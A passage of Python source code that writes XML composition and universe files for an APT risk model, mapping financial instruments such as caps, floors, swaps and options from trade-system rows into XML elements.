ElementTree.Element(self.CREDIT_DEFAULT_SWAP_TAG, id=row_id, idType=row_idType, currency=row_currency, borrowerClass=row_borrowerClass, maturity=row_maturity, spread=row_spread, paymentFrequency=row_paymentFrequency, recoveryRate=row_recoveryRate)\n self.creditDefaultSwaps_elem.append(creditDefaultSwap_elem)\n self.writer._write_marketData_element(row)\n \n\nclass AptCapsElementWriter(AssetClassElementWriter):\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n \n def _write_comp_cap_element(self, row, row_id, row_ids, row_idType):\n row_visibility = 'CLOSED'\n row_weighting = 'NOTIONAL'\n row_date = self.writer._get_raw_data(row, AptColumns.COMP_DATE)\n row_currency = self.writer._get_raw_data(row, AptColumns.COMP_CURRENCY)\n composition_elem = ElementTree.Element(self.writer.COMPOSITION_TAG, visibility=row_visibility, idType=row_idType, id=row_id, date=row_date, currency=row_currency)\n weights_elem = ElementTree.Element(self.writer.WEIGHTS_TAG)\n self._add_cap_line_elems(weights_elem, row_ids, row_idType)\n composition_elem.append(weights_elem)\n self.writer.compositions_elem.append(composition_elem)\n \n def _add_cap_line_elems(self, weights_elem, row_ids, row_idType):\n row_weights = ['1', '-1']\n for i in range(2):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, idType=row_idType, id=row_ids[i], weight=row_weights[i])\n weights_elem.append(line_elem)\n \n def _write_cap_element(self, row, row_ids):\n fixed_income_products_writer = AptFixedIncomeProductsElementWriter(self.writer, self.ins_rows)\n fixed_income_products_writer._write_floating_rate_bond_element(row, id=row_ids[0])\n fixed_income_products_writer._write_floating_rate_bond_element(row, id=row_ids[1], cap=True)\n \n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_ids = [' '.join((row_id, 'Long')), ' '.join((row_id, 'Short'))]\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n self._write_comp_cap_element(row, row_id, row_ids, row_idType)\n self._write_cap_element(row, row_ids)\n \n \nclass AptFloorsElementWriter(AssetClassElementWriter):\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n \n def _write_comp_floor_element(self, row, row_id, row_ids, row_idType):\n row_visibility = 'CLOSED'\n row_weighting = 'NOTIONAL'\n row_date = self.writer._get_raw_data(row, AptColumns.COMP_DATE)\n row_currency = self.writer._get_raw_data(row, AptColumns.COMP_CURRENCY)\n composition_elem = ElementTree.Element(self.writer.COMPOSITION_TAG, visibility=row_visibility, idType=row_idType, id=row_id, date=row_date, currency=row_currency)\n weights_elem = ElementTree.Element(self.writer.WEIGHTS_TAG)\n self._add_floor_line_elems(weights_elem, row_ids, row_idType)\n composition_elem.append(weights_elem)\n self.writer.compositions_elem.append(composition_elem)\n \n def _add_floor_line_elems(self, weights_elem, row_ids, row_idType):\n row_weights = ['1', '-1']\n for i in range(2):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, idType=row_idType, id=row_ids[i], weight=row_weights[i])\n weights_elem.append(line_elem)\n \n def _write_floor_element(self, row, row_ids):\n fixed_income_products_writer = AptFixedIncomeProductsElementWriter(self.writer, self.ins_rows)\n fixed_income_products_writer._write_fixed_coupon_bond_element(row, id=row_ids[0])\n fixed_income_products_writer._write_floating_rate_bond_element(row, id=row_ids[1], cap=True)\n \n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_ids = [' '.join((row_id, 'Long')), ' '.join((row_id, 'Short'))]\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n self._write_comp_floor_element(row, row_id, row_ids, row_idType)\n self._write_floor_element(row, row_ids)\n\n \nclass AptInterestRateSwapsElementWriter(AssetClassElementWriter):\n \n INTEREST_RATE_SWAPS_TAG = 'interestRateSwaps'\n INTEREST_RATE_SWAP_TAG = 'interestRateSwap'\n \n \n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.interestRateSwaps_elem = ElementTree.Element(self.INTEREST_RATE_SWAPS_TAG)\n self.writer.assets_elem.append(self.interestRateSwaps_elem)\n \n def _write_irs_elem(self, _id, _idType, _expires, _currency, _swapRate, _paymentFrequency, _shortPaymentFrequency):\n interestRateSwap_elem = ElementTree.Element(self.INTEREST_RATE_SWAP_TAG, id=_id, idType=_idType, expires=_expires, currency=_currency, swapRate=_swapRate, paymentFrequency=_paymentFrequency, shortPaymentFrequency=_shortPaymentFrequency)\n self.interestRateSwaps_elem.append(interestRateSwap_elem)\n \n def _write_long_irs(self, id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency):\n id = ' '.join((id, 'Long'))\n self._write_irs_elem(id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency)\n \n def _write_short_irs(self, row, id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency):\n id = ' '.join((id, 'Short'))\n expires = self.writer._get_raw_data(row, AptColumns.INSTRUMENT_START_DATE)\n self._write_irs_elem(id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency)\n \n def _add_irs_line_elems(self, weights_elem, row_id, row_idType):\n row_ids = [' '.join((row_id, 'Long')), ' '.join((row_id, 'Short'))]\n row_weights = ['1', '-1']\n for i in range(2):\n line_elem = ElementTree.Element(self.writer.LINE_TAG, idType=row_idType, id=row_ids[i], weight=row_weights[i])\n weights_elem.append(line_elem)\n \n def _write_comp_irs(self, row, row_id, row_idType):\n row_visibility = 'CLOSED'\n row_weighting = 'NOTIONAL'\n row_date = self.writer._get_raw_data(row, AptColumns.COMP_DATE)\n row_currency = self.writer._get_raw_data(row, AptColumns.COMP_CURRENCY)\n composition_elem = ElementTree.Element(self.writer.COMPOSITION_TAG, visibility=row_visibility, idType=row_idType, id=row_id, date=row_date, currency=row_currency)\n weights_elem = ElementTree.Element(self.writer.WEIGHTS_TAG)\n self._add_irs_line_elems(weights_elem, row_id, row_idType)\n composition_elem.append(weights_elem)\n self.writer.compositions_elem.append(composition_elem)\n \n def _write_forward_start_irs_elem(self, row, id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency):\n self._write_long_irs(id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency)\n self._write_short_irs(row, id, idType, expires, currency, swapRate, paymentFrequency, shortPaymentFrequency)\n self._write_comp_irs(row, id, idType)\n\n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_swapRate = self.writer._get_raw_data(row, AptColumns.SWAP_RATE)\n row_paymentFrequency = self.writer._get_raw_data(row, AptColumns.PAYMENT_FREQUENCY)\n row_shortPaymentFrequency = self.writer._get_raw_data(row, AptColumns.SHORT_PAYMENT_FREQUENCY)\n is_forward_start = self.writer._get_raw_data(row, AptColumns.IS_FORWARD_START)\n if is_forward_start not in ('true'):\n self._write_irs_elem(row_id, row_idType, row_expires, row_currency, row_swapRate, row_paymentFrequency, row_shortPaymentFrequency)\n else: self._write_forward_start_irs_elem(row, row_id, row_idType, row_expires, row_currency, row_swapRate, row_paymentFrequency, row_shortPaymentFrequency)\n \n\nclass AptCurrencySwapsElementWriter(AssetClassElementWriter):\n \n CURRENCY_SWAPS_TAG = 'currencySwaps'\n CURRENCY_SWAP_TAG = 'currencySwap'\n SHORT_LEG_TAG = 'shortLeg'\n LONG_LEG_TAG = 'longLeg'\n FIXED_COUPON_SCHEDULE_TAG = 'fixedCouponSchedule'\n FIXED_COUPON_SCHEDULE_ENTRY_TAG = 'fixedCouponScheduleEntry'\n FLOATING_SPREAD_SCHEDULE_TAG = 'floatingSpreadSchedule'\n FLOATING_SPREAD_SCHEDULE_ENTRY_TAG = 'floatingSpreadScheduleEntry'\n \n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.currencySwaps_elem = ElementTree.Element(self.CURRENCY_SWAPS_TAG)\n self.writer.assets_elem.append(self.currencySwaps_elem)\n \n def write_floatingShortLegSpreadSchedule_elem(self, row, shortLeg_elem):\n floatingSpreadSchedule_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_TAG)\n shortLeg_elem.append(floatingSpreadSchedule_elem)\n row_date = self.writer._get_raw_data(row, AptColumns.FLOAT_SHORT_LEG_DATE)\n row_spread = self.writer._get_raw_data(row, AptColumns.FLOAT_SHORT_LEG_SPREAD)\n floatingSpreadScheduleEntry_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_ENTRY_TAG, date=row_date, spread=row_spread)\n floatingSpreadSchedule_elem.append(floatingSpreadScheduleEntry_elem)\n \n def write_fixedShortLegCouponSchedule_elem(self, row, shortLeg_elem):\n fixedCouponSchedule_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_TAG)\n shortLeg_elem.append(fixedCouponSchedule_elem)\n row_date = self.writer._get_raw_data(row, AptColumns.FIXED_SHORT_LEG_DATE)\n row_coupon = self.writer._get_raw_data(row, AptColumns.FIXED_SHORT_LEG_COUPON)\n fixedCouponScheduleEntry_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_ENTRY_TAG, date=row_date, coupon=row_coupon)\n fixedCouponSchedule_elem.append(fixedCouponScheduleEntry_elem)\n \n def write_floatingLongLegSpreadSchedule_elem(self, row, longLeg_elem):\n floatingSpreadSchedule_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_TAG)\n longLeg_elem.append(floatingSpreadSchedule_elem)\n row_date = self.writer._get_raw_data(row, AptColumns.FLOAT_LONG_LEG_DATE)\n row_spread = self.writer._get_raw_data(row, AptColumns.FLOAT_LONG_LEG_SPREAD)\n floatingSpreadScheduleEntry_elem = ElementTree.Element(self.FLOATING_SPREAD_SCHEDULE_ENTRY_TAG, date=row_date, spread=row_spread)\n floatingSpreadSchedule_elem.append(floatingSpreadScheduleEntry_elem)\n \n def write_fixedLongLegCouponSchedule_elem(self, row, longLeg_elem):\n fixedCouponSchedule_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_TAG)\n longLeg_elem.append(fixedCouponSchedule_elem)\n row_date = self.writer._get_raw_data(row, AptColumns.FIXED_LONG_LEG_DATE)\n row_coupon = self.writer._get_raw_data(row, AptColumns.FIXED_LONG_LEG_COUPON)\n fixedCouponScheduleEntry_elem = ElementTree.Element(self.FIXED_COUPON_SCHEDULE_ENTRY_TAG, date=row_date, coupon=row_coupon)\n fixedCouponSchedule_elem.append(fixedCouponScheduleEntry_elem)\n \n def write_shortLeg_elem(self, row, currencySwap_elem):\n row_principal = self.writer._get_raw_data(row, AptColumns.SHORT_LEG_PRINCIPAL)\n row_currency = self.writer._get_raw_data(row, AptColumns.SHORT_LEG_CURRENCY)\n row_couponFrequency = self.writer._get_raw_data(row, AptColumns.SHORT_PAYMENT_FREQUENCY)\n shortLeg_elem = ElementTree.Element(self.SHORT_LEG_TAG, principal=row_principal, currency=row_currency, couponFrequency=row_couponFrequency)\n shortLegFixed = self.writer._get_raw_data(row, AptColumns.SHORT_LEG_IS_FIXED)\n if shortLegFixed in ('true'):\n self.write_fixedShortLegCouponSchedule_elem(row, shortLeg_elem)\n else: self.write_floatingShortLegSpreadSchedule_elem(row, shortLeg_elem)\n currencySwap_elem.append(shortLeg_elem)\n \n def write_longLeg_elem(self, row, currencySwap_elem):\n row_principal = self.writer._get_raw_data(row, AptColumns.LONG_LEG_PRINCIPAL)\n row_currency = self.writer._get_raw_data(row, AptColumns.LONG_LEG_CURRENCY)\n row_couponFrequency = self.writer._get_raw_data(row, AptColumns.PAYMENT_FREQUENCY)\n longLeg_elem = ElementTree.Element(self.LONG_LEG_TAG, principal=row_principal, currency=row_currency, couponFrequency=row_couponFrequency)\n longLegFixed = self.writer._get_raw_data(row, AptColumns.LONG_LEG_IS_FIXED)\n if longLegFixed in ('true'):\n self.write_fixedLongLegCouponSchedule_elem(row, longLeg_elem)\n else: self.write_floatingLongLegSpreadSchedule_elem(row, longLeg_elem)\n currencySwap_elem.append(longLeg_elem)\n\n def write_legs_elem(self, row, currencySwap_elem):\n self.write_shortLeg_elem(row, currencySwap_elem)\n self.write_longLeg_elem(row, currencySwap_elem)\n \n def write_elem(self):\n for row in self.ins_rows:\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_swapRate = self.writer._get_raw_data(row, AptColumns.SWAP_RATE)\n row_paymentFrequency = self.writer._get_raw_data(row, AptColumns.PAYMENT_FREQUENCY)\n row_shortPaymentFrequency = self.writer._get_raw_data(row, AptColumns.SHORT_PAYMENT_FREQUENCY)\n currencySwap_elem = ElementTree.Element(self.CURRENCY_SWAP_TAG, id=row_id, idType=row_idType, expires=row_expires)\n self.write_legs_elem(row, currencySwap_elem)\n self.currencySwaps_elem.append(currencySwap_elem)\n self.writer._write_marketData_element(row)\n\n\nclass AptOptionsElementWriter(AssetClassElementWriter):\n \n OPTIONS_TAG = 'options'\n OPTION_TAG = 'option'\n CURRENCY_OPTION_TAG = 'currencyOption'\n UNDERLYING_TAG = 'underlying'\n STRIKE_TAG = 'strike'\n EUROPEAN_TAG = 'europeanExercise'\n AMERICAN_TAG = 'americanExercise'\n SWAPTION_TAG = 'swaption'\n BARRIER_TAG = 'barrier'\n DIGITAL_TAG = 'digital'\n CURRENCY_OPTION_TAG = 'currencyOption'\n DIGITAL_CURRENCY_OPTION_TAG = 'digitalCurrencyOption'\n PAYOFF_TAG = 'payoff'\n CALL_TAG = 'call'\n PUT_TAG = 'put '\n \n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.options_elem = ElementTree.Element(self.OPTIONS_TAG)\n self.writer.assets_elem.append(self.options_elem)\n self.option_elem = None\n \n def get_writer_func(self, row):\n if self.writer._get_raw_data(row, AptColumns.UND_TYPE) in ('Curr'):\n if self.writer._get_raw_data(row, AptColumns.IS_BARRIER) in ('True'):\n return self._write_currency_barrier_option_element(row)\n elif self.writer._get_raw_data(row, AptColumns.IS_DIGITAL) in ('True'):\n return self._write_currency_digital_option_element(row)\n elif self.writer._get_raw_data(row, AptColumns.UND_TYPE) in ('Swap'):\n return self._write_swaption_element(row)\n elif self.writer._get_raw_data(row, AptColumns.IS_BARRIER) in ('True'):\n return self._write_barrier_option_element(row)\n elif self.writer._get_raw_data(row, AptColumns.IS_DIGITAL) in ('True'):\n return self._write_digital_option_element(row)\n \n def write_elem(self):\n for row in self.ins_rows:\n if self.writer._get_raw_data(row, AptColumns.UND_TYPE) not in ('Curr', 'Swap'):\n self._write_option_element(row)\n elif self.writer._get_raw_data(row, AptColumns.UND_TYPE) in ('Curr') and not self.writer._get_raw_data(row, AptColumns.IS_DIGITAL) in ('True'):\n self._write_currency_option_element(row)\n elem_writer_func = self.get_writer_func\n elem_writer_func(row)\n self.writer._write_marketData_element(row)\n \n def _write_currency_barrier_option_element(self, row):\n row_barrier_value = self.writer._get_raw_data(row, AptColumns.BARRIER_VALUE)\n row_barrier_direction = self.writer._get_raw_data(row, AptColumns.BARRIER_DIRECTION)\n row_barrier_type = self.writer._get_raw_data(row, AptColumns.BARRIER_TYPE)\n row_barrier_base = self.writer._get_raw_data(row, AptColumns.BARRIER_BASE)\n barrier_elem = ElementTree.Element(self.BARRIER_TAG, barrier=row_barrier_value, direction=row_barrier_direction, type=row_barrier_type, base=row_barrier_base)\n self.currencyOption_elem.append(barrier_elem)\n \n def _write_currency_digital_option_element(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_base = self.writer._get_raw_data(row, AptColumns.CALL_CURRENCY)\n row_counter = self.writer._get_raw_data(row, AptColumns.PUT_CURRENCY)\n row_strike = self.writer._get_raw_data(row, AptColumns.STRIKE)\n digital_currency_option_elem = ElementTree.Element(self.DIGITAL_CURRENCY_OPTION_TAG, id=row_id, expires=row_expires, base=row_base, counter=row_counter, strike=row_strike)\n row_exercise_type = self.writer._get_raw_data(row, AptColumns.EXERCISE_TYPE)\n if row_exercise_type == 'EUROPEAN':\n exercise_elem = ElementTree.Element(self.EUROPEAN_TAG)\n digital_currency_option_elem.append(exercise_elem)\n row_digital_payoff = self.writer._get_raw_data(row, AptColumns.CURR_DIGITAL_PAYOFF_AMOUNT)\n row_digital_currency = self.writer._get_raw_data(row, AptColumns.CURR_DIGITAL_PAYOFF)\n row_direction = None\n digital_elem = ElementTree.Element(self.PAYOFF_TAG, currency=row_digital_currency, amount=row_digital_payoff, direction=\"UP\")\n digital_currency_option_elem.append(digital_elem)\n self.options_elem.append(digital_currency_option_elem)\n \n def _write_currency_option_element(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_callCurrency = self.writer._get_raw_data(row, AptColumns.CALL_CURRENCY)\n row_callAmount = self.writer._get_raw_data(row, AptColumns.CALL_AMOUNT)\n row_putAmount = self.writer._get_raw_data(row, AptColumns.PUT_AMOUNT)\n row_putCurrency = self.writer._get_raw_data(row, AptColumns.PUT_CURRENCY)\n self.currencyOption_elem = ElementTree.Element(self.CURRENCY_OPTION_TAG, id=row_id, idType=row_idType, expires=row_expires)\n call_elem = ElementTree.Element(self.CALL_TAG, currency=row_callCurrency, amount=row_callAmount)\n put_elem = ElementTree.Element(self.PUT_TAG, currency=row_putCurrency, amount=row_putAmount)\n self.currencyOption_elem.append(call_elem)\n self.currencyOption_elem.append(put_elem)\n row_exercise_type = self.writer._get_raw_data(row, AptColumns.EXERCISE_TYPE)\n if row_exercise_type == 'EUROPEAN':\n exercise_elem = ElementTree.Element(self.EUROPEAN_TAG)\n else:\n exercise_elem = ElementTree.Element(self.AMERICAN_TAG)\n self.currencyOption_elem.append(exercise_elem)\n self.options_elem.append(self.currencyOption_elem)\n \n def _write_swaption_element(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n row_swapTermYrs = self.writer._get_raw_data(row, AptColumns.SWAP_TERM_YRS)\n row_swapRate = self.writer._get_raw_data(row, AptColumns.SWAP_RATE)\n row_swapType = self.writer._get_raw_data(row, AptColumns.SWAP_TYPE)\n row_paymentFrequency = self.writer._get_raw_data(row, AptColumns.PAYMENT_FREQUENCY)\n row_shortPaymentFrequency = self.writer._get_raw_data(row, AptColumns.SHORT_PAYMENT_FREQUENCY)\n swaption_elem = ElementTree.Element(self.SWAPTION_TAG, id=row_id, currency=row_currency, expires=row_expires, swapTermYrs=row_swapTermYrs, swapRate=row_swapRate, swapType=row_swapType, paymentFrequency=row_paymentFrequency, shortPaymentFrequency=row_shortPaymentFrequency)\n row_exercise_type = self.writer._get_raw_data(row, AptColumns.EXERCISE_TYPE)\n if row_exercise_type == 'EUROPEAN':\n exercise_elem = ElementTree.Element(self.EUROPEAN_TAG)\n else:\n exercise_elem = ElementTree.Element(self.AMERICAN_TAG)\n swaption_elem.append(exercise_elem)\n self.options_elem.append(swaption_elem)\n \n def _write_barrier_option_element(self, row):\n row_barrier_value = self.writer._get_raw_data(row, AptColumns.BARRIER_VALUE)\n row_barrier_direction = self.writer._get_raw_data(row, AptColumns.BARRIER_DIRECTION)\n row_barrier_type = self.writer._get_raw_data(row, AptColumns.BARRIER_TYPE)\n barrier_elem = ElementTree.Element(self.BARRIER_TAG, barrier=row_barrier_value, direction=row_barrier_direction, type=row_barrier_type)\n self.option_elem.append(barrier_elem)\n \n def _write_digital_option_element(self, row):\n row_digital_payoff = self.writer._get_raw_data(row, AptColumns.DIGITAL_PAYOFF)\n digital_elem = ElementTree.Element(self.DIGITAL_TAG, payoff=row_digital_payoff)\n if row_digital_payoff == 'CASH':\n row_digital_cash_amount = self.writer._get_raw_data(row, AptColumns.DIGITAL_CASH_AMOUNT)\n digital_elem.attrib['cash'] = row_digital_cash_amount\n self.option_elem.append(digital_elem)\n\n def _write_option_element(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_idType = self.writer._get_raw_data(row, AptColumns.ASSET_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_type = self.writer._get_raw_data(row, AptColumns.TYPE)\n row_expires = self.writer._get_raw_data(row, AptColumns.EXPIRES)\n self.option_elem = ElementTree.Element(self.OPTION_TAG, id=row_id, idType=row_idType, currency=row_currency, type=row_type, expires=row_expires)\n self.options_elem.append(self.option_elem)\n \n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n underlying_elem = ElementTree.Element(self.UNDERLYING_TAG, id=row_und_id, idType=row_und_idType)\n self.option_elem.append(underlying_elem)\n \n row_strike = self.writer._get_raw_data(row, AptColumns.STRIKE)\n strike_elem = ElementTree.Element(self.STRIKE_TAG, value=row_strike)\n self.option_elem.append(strike_elem)\n \n row_exercise_type = self.writer._get_raw_data(row, AptColumns.EXERCISE_TYPE)\n if row_exercise_type == 'EUROPEAN':\n exercise_elem = ElementTree.Element(self.EUROPEAN_TAG)\n else:\n exercise_elem = ElementTree.Element(self.AMERICAN_TAG)\n self.option_elem.append(exercise_elem)\n\n\nclass AptDerivativesElementWriter(AssetClassElementWriter):\n \n DERIVATIVES_TAG = 'derivatives'\n DERIVATIVE_TAG = 'derivative'\n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n self.derivatives_elem = ElementTree.Element(self.DERIVATIVES_TAG)\n self.writer.assets_elem.append(self.derivatives_elem)\n self.option_elem = None\n \n def get_writer_func(self, row): \n return self._write_derivative_element(row)\n \n def write_elem(self):\n for row in self.ins_rows:\n elem_writer_func = self.get_writer_func\n elem_writer_func(row)\n self.writer._write_marketData_element(row)\n \n def _write_derivative_element(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_und_id = self.writer._get_raw_data(row, AptColumns.UND_ID)\n row_und_idType = self.writer._get_raw_data(row, AptColumns.UND_ID_TYPE)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n self.derivative_elem = ElementTree.Element(self.DERIVATIVE_TAG, id=row_id, underlying=row_und_id, undIdType=row_und_idType, currency=row_currency)\n self.derivatives_elem.append(self.derivative_elem)\n \n \nclass TimeSeriesAssetsWriter(AssetClassElementWriter):\n TIME_SERIES_TAG = 'timeSeries'\n PRICES_PARENT_TAG = 'prices'\n PROPORTIONAL_RETURNS_TAG = 'proportionalReturns'\n WEEKLY_DATA_TAG = 'weeklyData'\n RETURNS_TAG = 'returns'\n PRICES_TAG = 'prices'\n DATES_TAG = 'dates'\n \n\n def __init__(self, writer, ins_rows):\n self.writer = writer\n self.ins_rows = ins_rows\n \n def _add_prices_element(self, ins_id):\n prices_parent_elem = ElementTree.Element(self.PRICES_PARENT_TAG)\n dates_elem = ElementTree.Element(self.DATES_TAG)\n prices_elem = ElementTree.Element(self.PRICES_TAG)\n time_series = FAptReportCommon.AptTimeSeries(ins_id)\n dates_elem.text = time_series.get_daily_time_series('Day')\n prices_elem.text = time_series.get_daily_time_series('Settle')\n prices_parent_elem.append(dates_elem)\n prices_parent_elem.append(prices_elem)\n self.timeSeries_elem.append(prices_parent_elem)\n \n def _add_proportionalReturns_element(self, ins_id):\n proportionlaReturns_elem = ElementTree.Element(self.PROPORTIONAL_RETURNS_TAG)\n weeklyData_elem = ElementTree.Element(self.WEEKLY_DATA_TAG)\n dates_elem = ElementTree.Element(self.DATES_TAG)\n returns_elem = ElementTree.Element(self.RETURNS_TAG)\n time_series = FAptReportCommon.AptTimeSeries(ins_id)\n dates_elem.text = time_series.get_weekly_dates()\n returns_elem.text = time_series.get_weekly_returns()\n weeklyData_elem.append(dates_elem)\n weeklyData_elem.append(returns_elem)\n proportionlaReturns_elem.append(weeklyData_elem)\n self.timeSeries_elem.append(proportionlaReturns_elem)\n \n def _write_time_series_instrument(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_class = self.writer._get_raw_data(row, AptColumns.ASSET_CLASS)\n self.timeSeries_elem = ElementTree.Element(self.TIME_SERIES_TAG, id=row_id, currency=row_currency)\n self.timeSeries_elem.attrib['class'] = row_class\n if 'SVT' not in self.writer.factor_model:\n self._add_proportionalReturns_element(row_id)\n else:\n self._add_prices_element(row_id)\n self.writer.timeSeriesAssets_elem.append(self.timeSeries_elem) #check this out on ASP\n logger.debug(\"Adding instrument '%s' to time series element\", row_id)\n \n def _write_time_series(self, row):\n row_id = self.writer._get_raw_data(row, AptColumns.ASSET_ID)\n row_currency = self.writer._get_raw_data(row, AptColumns.CURRENCY)\n row_class = self.writer._get_raw_data(row, AptColumns.ASSET_CLASS)\n self.timeSeries_elem = ElementTree.Element(self.TIME_SERIES_TAG, id=row_id, currency=row_currency)\n self.timeSeries_elem.attrib['class'] = row_class\n if 'SVT' not in self.writer.factor_model:\n self._add_proportionalReturns_element(row_id)\n else:\n self._add_prices_element(row_id)\n self.writer.timeSeriesAssets_elem.append(self.timeSeries_elem) #check this out on ASP\n logger.debug(\"Adding instrument '%s' to time series element\", row_id)\n\n def write_elem(self):\n for row in self.ins_rows:\n self._write_time_series(row)\n\n\nclass AptProXmlGenerator(object):\n\n LINE_TAG = \"{http://www.apt.com/pro}line\"\n \n def __init__(self, params):\n portfolios = params.portfolios\n trade_filters = params.trade_filters\n grouper = params.groupers[0]\n self.params = params\n self.instruments = self._get_instruments(portfolios, trade_filters)\n self.composition_file = params.composition_file\n self.universe_file = params.universe_file\n self.prime_report_generator = PrimeReportWriter(portfolios, trade_filters, self.instruments, grouper)\n self.report_contents = self.prime_report_generator.get_parser()\n \n def _get_underlying(ins):\n try:\n if ins.IsFutureOnNotional():\n if ins.IsAUDF(): return ins.Underlying()\n return ins.Underlying().SelectedDeliverable()\n return ins.ValuationUnderlying()\n except AttributeError:\n return ins.ValuationUnderlying()\n \n def _get_instruments_recursive(self, ins, instruments, instruments_to_report):\n und = ins.Underlying()\n if und and und not in instruments+instruments_to_report:\n instruments.append(und)\n self._get_instruments_recursive(und, instruments, instruments_to_report)\n \n def _get_open_instruments(self, port):\n piat = acm.Risk().CreatePortfolioInstrumentAndTrades(port)\n instruments = piat.Instruments()\n valuation_date = acm.Time().DateValueDay()\n date_today = acm.Time().DateToday()\n open_positions = piat.OpenPositions()\n \n def _mapped_valuation_parameters():\n mappedValuationParameters = acm.GetFunction('mappedValuationParameters', 0)\n return mappedValuationParameters()\n \n valuation_parameters = _mapped_valuation_parameters().Parameter()\n \n def _values_on_spot(ins):\n mapped_valuation_until_spot = ins.MappedValuationUntilSpotLink().Link()\n if mapped_valuation_until_spot == 'True': return 1\n report_date = valuation_parameters.ReportDate()\n if report_date == 'Instrument Spot': return 1\n return 0\n \n def _only_spot_valued_instruments(instruments):\n only_spot_valued_instruments = []\n for ins in instruments:\n only_spot_valued_instruments.append(_values_on_spot(ins) == 1)\n if 0 in only_spot_valued_instruments:\n return 0\n return 1\n \n def _include_simulated_trades():\n return valuation_parameters.IncludeSimulatedTrades()\n\n def _include_reserved_trades():\n return valuation_parameters.IncludeReservedTrades()\n\n include_simulated_trades = _include_simulated_trades()\n include_reserved_trades = _include_reserved_trades()\n \n def _tradeStatusInclusionMaskStandard(include_simulated_trades, include_reserved_trades):\n trade_status_inclusion_mask_standard = acm.GetFunction('tradeStatusInclusionMaskStandard', 2)\n return trade_status_inclusion_mask_standard(include_simulated_trades, include_reserved_trades)\n\n def _tradeCategoryInclusionMaskDefault():\n return acm.GetFunction('tradeCategoryInclusionMaskNotCollateral', 0)()\n\n def _adjustParameterDate(valuation_date, date_today):\n adjust_parameter_date = acm.GetFunction('adjustParameterDate', 2)\n return adjust_parameter_date(valuation_date, date_today)\n\n only_spot_valued_instruments = _only_spot_valued_instruments(instruments)\n trade_parameter_date = _adjustParameterDate(valuation_date, date_today)\n include_simulated_trades = _include_simulated_trades()\n include_reserved_trades = _include_reserved_trades()\n trade_status_inclusion_mask_default = _tradeStatusInclusionMaskStandard(include_simulated_trades, include_reserved_trades)\n trade_category_inclusion_mask_default = _tradeCategoryInclusionMaskDefault()\n open_instruments = open_positions.OpenPositionInstruments(valuation_date, only_spot_valued_instruments, trade_parameter_date, trade_status_inclusion_mask_default, trade_category_inclusion_mask_default)\n return open_instruments\n\n def _get_instruments(self, portfolios, trade_filters):\n instruments = []\n for item in portfolios+trade_filters:\n try:\n open_instruments = self._get_open_instruments(item)\n instruments_to_report = list(open_instruments)\n except:\n instruments_to_report = list(set([trd.Instrument() for trd in item.Query().Select()]))\n for ins in instruments_to_report:\n if not ins.IsKindOf('FInstrument'):\n continue\n self._get_instruments_recursive(ins, instruments, instruments_to_report)\n return instruments\n \n def generate_universe(self):\n univ_writer = UniverseFileWriter(self.report_contents, self.params)\n univ_xml = univ_writer.write()\n\n def generate_composition(self):\n comp_writer = CompositionFileWriter(self.report_contents, self.params, self.instruments)\n comp_xml = comp_writer.write()\n return comp_xml\n \n def is_valid_composition(self, comp_xml):\n try: \n if (ElementTree.XML(comp_xml).find(\".//\"+self.LINE_TAG)) != None:\n return 1\n 